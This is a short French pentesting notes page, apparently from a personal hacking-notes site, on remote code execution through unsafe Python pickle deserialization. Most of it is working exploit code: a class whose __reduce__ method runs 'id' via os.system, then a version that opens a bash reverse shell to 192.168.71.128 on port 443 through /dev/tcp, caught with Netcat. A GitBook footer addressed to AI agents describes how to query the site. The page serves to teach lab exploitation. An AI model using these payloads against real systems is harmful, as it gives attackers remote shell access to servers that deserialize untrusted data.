> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/deserialization-pickle-attack/des-pickle-rce-pentesting-web.md).

# RCE via désérialisation Pickle

Voici comment le code est présenté. Comme indiqué, il est **chargé** par `pickle.load` sans aucune validation.

<figure><img src="/files/0f0dcbfa724929a3e7d97a2a708d60217ec4252a" alt=""><figcaption></figcaption></figure>

Le script ci-dessous nous permet d'exécuter la **id** commande et de faire interpréter le serveur en **hexadécimales**:

```python
import pickle
import os
import binascii
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('id',))
if __name__ == '__main__':
    print(binascii.hexlify(pickle.dumps(Exploit())))

```

<figure><img src="/files/a5001e30eef6aea4386714bee27d290ff06cb329" alt=""><figcaption></figcaption></figure>

* nous les collons et il renvoie un **code de statut de succès** (0):

<figure><img src="/files/d5e2ed39e0a78394aadd2e3bcabaa8f5d3a0496c" alt=""><figcaption></figcaption></figure>

Ensuite, nous **modifions le script** pour exécuter un **shell inversé**:

```python
import pickle
import os
import binascii
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('bash -c "bash -i >& /dev/tcp/192.168.71.128/443 0>&1"',))
if __name__ == '__main__':
    print(binascii.hexlify(pickle.dumps(Exploit())))

```

Nous écoutons avec **Netcat** et obtenons l'accès :

<figure><img src="/files/3f02d0395176acd85b598e48ab8785c431c67fce" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/deserialization-pickle-attack/des-pickle-rce-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
